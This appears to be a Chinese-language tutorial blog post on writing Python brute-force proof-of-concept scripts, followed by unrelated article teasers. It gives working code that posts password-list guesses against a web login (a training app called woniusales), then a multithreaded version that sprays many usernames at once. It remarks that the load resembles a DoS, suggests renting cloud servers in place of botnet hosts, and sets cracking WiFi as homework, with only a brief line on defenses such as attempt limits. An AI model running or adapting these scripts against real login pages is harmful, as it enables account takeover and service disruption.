12-python编写暴力破解poc

一、爆破MD5

场景:已知MD5加密字符串,如何得知明文?

解决方案:

算法碰撞,一串128位的MD5(32位16进制)其组合数量

字典碰撞,给定一个字典文件,读取里面的密码明文,再对其进行MD5,

再和目标字符串对比,如果相同,则明文找到。

二、爆破woniusales

1、验证登录请求

使用burp抓包,查看登录的数据怎么构造,以及响应的url地址

2、已知用户名,爆破密码

import time,requests
# 爆破Woniusales:用户名和密码都不知道,1、用户名已知,密码未知
def ws_01():with open('文件的位置') as file:pw_list = file.readline()url = ''count = 0for password in pw_list:data = {'username':'woniu','password':password.strip(),'verifycode':'0000'}resp = requests.post(url=url,data=data)     #去进行post请求if 'login-fail' not in resp.text:print(f"疑似破解成功,密码为:{password.strip()}")exit()count += 1print(f'共计尝试{count}次')if __name__ == '__main__':# md5('cxcsd')ws_01()

3、未知用户名,未知密码爆破

# 未知用户名,未知密码,多线程并进行破解
#500用户,6000条密码,最多300万次登录操作,
# 同时,由于多线程并发登录,导致服务器压力倍增(DOS),进而导致服务器响应时间会显著变慢
# 如果服务器不小心崩溃,那么很有可能引起重视,进而检测访问日志,封锁IP,(DDOS可以更好模拟)# 每一个用户一个线程,每个线程循环6000次
count = 0
def ws_thread(username):with open('密码文件的位置') as file:pw_list = file.readlines()url = 'http://'   # 这儿的路径是登录界面响应的界面global countfor password in pw_list:data = {'username': username, 'password': password.strip(), 'verifycode': '0000'}resp = requests.post(url=url, data=data)  # 去进行post请求if 'login-fail' not in resp.text:print(f"疑似破解成功,密码为:{password.strip()}")exit()count += 1print(f'共计尝试{count}次')# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10():passif __name__ == '__main__':# 多线程,读取用户字典,并遍历获取用户名with open('用户文件所在的位置') as file:user_list = file.readlines()for username in user_list:# 这儿有多少个线程,我就并发多少个用户threading.Thread(target=ws_thread,args=(username.strip(),)).start()

采用多线程去处理大数据

# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10(sublist):# 怎么去分配任务-->指派任务--》指派更加有规律的方式--》分类的方式#先进行列表的可行性分析# with open('用户文件') as file:#     user_list = file.readlines()# # print(user_list[0:10])  # 可以通过切片的方式进行操作# # print(user_list[10:20])# # print(user_list[20:30])# # # 通过列表切片的方式将列表分配到每一个小组里,每个小组10个用户# for i in range(0,len(user_list),10):  # 对列表进行切片处理分成一个子列表#     print(user_list[i:i+10])with open('密码文件的位置') as file:pw_list = file.readlines()for username in sublist:url = ''for password in pw_list:data = {'username': username.strip(), 'password': password.strip(), 'verifycode': '0000'}resp = requests.post(url=url, data=data)  # 去进行post请求if 'login-fail' not in resp.text:print(f"疑似破解成功,账号为{username.strip()}, 密码为:{password.strip()}")exit()if __name__ == '__main__':# 每个线程负责10个用户with open("用户的位置") as file:user_list = file.readlines()for i in range(0,len(user_list),10):sublist = user_list[i:i+10]   # 设置子进程,核心点是切片,作为参数把列表传递过去threading.Thread(target=ws_thread_10,args=(sublist,)).start()

三、爆破条件与防范

1.登录成功或失败的条件可验证

2.服务器端允许多次失败登录而不会禁止

首先监控到登录的请求 ,查看通行的过程

查看登录是发送了那些字段,

查看登录后的响应,

从流量上来看DOS攻击和暴力破解特征是一样的

暴力破解的点

一、应用场景:

只要有密码的地方,均可以尝试使用爆破方案

二、应用条件:

爆破不受次数的限制,可以一直尝试,所以爆破的防护方案:次数限制,

没有肉鸡怎么办?

去云服务器平台临时租赁

爆破分类:

离线爆破

在线爆破

作业:如何爆破wifi?如何防护?

爆破WiFi简单粗暴的进入内网。

一个进程,的线程有限,如何能够提升并发能力呢?

1.将任务分配到不同电脑上,

2.在同一台电脑上运行多个程序。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/4694.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android system — 链接器命名空间(linker namespace)源码分析

Android system — 链接器命名空间(linker namespace)源码分析 1. 源码分析2. do_dlopen3. find_library_internal3.1 find_loaded_library_by_soname3.2 load_library3.3 find_library_in_linked_namespace 1. 源码分析 在前一篇文章Android system — …

场外个股期权开户新规及操作方法

场外个股期权开户新规 场外个股期权开户新规主要涉及对投资者资产实力、专业知识、风险承受能力和诚信记录的要求。以下是根据最新规定总结的关键要点: 来源/:股指研究院 资产门槛:投资者需具备一定的资产实力,确保在申请开户前…

【Linux】文件打包解压_tar_zip

文章目录 📑引言:一、文件打包压缩1.1 什么是文件打包压缩?1.2 为什么需要文件打包压缩? 二、打包解压2.1 zip2.2 unzip2.3 tar指令 🌤️全篇小结: 📑引言: 在Linux操作系统中&#…

go圣经 ——方法

这里只是记录了自己学过一遍但是在圣经(狼吞虎咽)中又看到的新鲜玩意 我们又称之为选择器 package mainimport "fmt"type Rect struct {width, height float64 }// 定义一个方法来计算矩形的面积 func (r Rect) Area() float64 {return r.wi…

OpenCV-Python: 强大的计算机视觉库

文章目录 OpenCV-Python: 强大的计算机视觉库背景OpenCV-Python是什么?安装简单的库函数使用方法场景示例人脸检测和识别图像分割目标跟踪 常见问题和解决方案总结 OpenCV-Python: 强大的计算机视觉库 背景 OpenCV (Open Source Computer Vision Library) 是一个开…

如何修改php版本

我使用的Hostease的Windows虚拟主机产品,由于网站程序需要支持高版本的PHP,程序已经上传到主机,但是没有找到切换PHP以及查看PHP有哪些版本的位置,因此咨询了Hostease的技术支持,寻求帮助了解到可以实现在Plesk面板上找到此切换PHP版本的按钮…

基于Springboot+Vue的Java项目-火车票订票系统开发实战(附演示视频+源码+LW)

大家好!我是程序员一帆,感谢您阅读本文,欢迎一键三连哦。 💞当前专栏:Java毕业设计 精彩专栏推荐👇🏻👇🏻👇🏻 🎀 Python毕业设计 &am…

GDPU 算法分析与设计 天码行空5

一、【实验目的】 (1)熟悉动态规划算法的基本思想. (2)理解动态规划算法中子问题的划分和递推方程设计的基本方法. (3)熟悉矩阵链乘法的基本思想并编程实现。 二、【实验内容】 输入:矩阵链Ai…j的输入为…

Power BI:如何将文件夹批量Excel(多sheet页)文件导入?

故事背景: 业务同事想用Power BI分析近两年市场费用。 数据源全部是Excel文件,并且以每月一个Excel文件的方式,统一存放到同一文件夹下面。 重点,每张Excel文件会有多张sheet页,用区分每家分公司的费用信息。 目前…

Linux之进程间通信(二)

system V system V共享内存是内核中专门设计的通信的方式, 粗粒度划分操作系统分为进程管理, 内存管理, 文件系统, 驱动管理.., 粒度更细地分还有 进程间通信模块. 对于操作系统, 通信的场景有很多, 有以传送数据, 快速传送数据, 传送特定数据块, 进程间协同与控制以目的, 它…

分割字符串问题记录(特殊符号识别问题)

报错代码 String[] split power.split(""); 纠正后代码 String[] split power.split("\\"); 问题解析 String[] split power.split(""); 这段代码本身是符合Java语法规范的,它表示使用""作为分隔符来分割字符串powe…

数字信号的产生与检测——DSP学习笔记六

本专栏的博客的图片大部分来源于老师的PPT,本博客只是博主对于上课内容的知识结构的分析和梳理。 几种数字信号的产生 正弦波信号 多项式逼近(除了泰勒展开,还有一种方法是切比雪夫逼近法,感兴趣可以自己去了解一下) 查找表 核心思…

windows ubuntu sed,awk,grep篇,6.sed 保持空间和模式空间命令

目录 41.用保持空间替换模式空间(命令 x) 42.把模式空间的内容复制到保持空间(命令 h) 43.把模式空间内容追加到保持空间(命令 H) 44.把保持空间内容复制到模式空间(命令 g) 45.把保持空间追加到模式空间(命令 G) Sed 有两个内置的存储空间: z 模式空间:如你所知&…

<计算机网络自顶向下> Internet Protocol

互联网中的网络层 IP数据报格式 ver: 四个比特的版本号(IPV4 0100, IPV6 0110) headlen:head的长度(头部长度字段(IHL)指定了头部的长度,以32位字(4字节)为单位计算。这…

怎么理解JavaScript原型、原型链

原型 JavaScript被描述为一种基于原型的语言,也就是每一个对象都拥有一个原型对象。 当我们访问一个对象的属性时,它不仅仅该改对象上查找,还会到这个对象的原型上查找,甚至是到这个对象的原型的原型上查找,这样一层…

Java数组深度剖析:掌握数据结构的基石

引言 在编程世界中,数仅仅是一种数据类型,它是理解内存分配、多维数据处理以及性能优组像是构建复杂数据结构的基本积木。它们简洁、高效,是管理元素集的首选方式。在Java中,数组不化的关键。 这篇文章致力于深入探讨Java数组的各…

git出错、文件无法删除、文件无法访问、文件或目录损坏且无法读取 等相关问题处理

一、错误历程与解决方案 1. 在用idea时,突然出现 部分git的命令无法使用,提示错误 2. 尝试删除项目文件夹,重新从git拉取代码 3.发现无法删除文件夹,删除操作没有任何反应,但是可以对文件夹重命名。 4.重新clone g…

李沐70_bert微调——自学笔记

微调BERT 1.BERT滴哦每一个词元返回抽取了上下文信息的特征向量 2.不同的任务使用不同的特性 句子分类 将cls对应的向量输入到全连接层分类 命名实体识别 1.识别应该词元是不是命名实体,例如人名、机构、位置 2.将非特殊词元放进全连接层分类 问题回答 1.给…

QT c++ 代码布局原则 简单例子

本文描述QT c widget代码布局遵循的原则:实中套虚,虚中套实。 本文最后列出了代码下载链接。 在QT6.2.4 msvc2019编译通过。 所谓实是实体组件:比如界面框、文本标签、组合框、文本框、按钮、表格、图片框等。 所谓虚是Layout组件&#x…

Redis哈希槽和一致性哈希

前言 单点的Redis有一定的局限: 单点发生故障,数据丢失,影响整体服务应用自身资源有限,无法承载更多资源分配并发访问,给服务器主机带来压力,性能瓶颈 我们想提升系统的容量、性能和可靠性,就…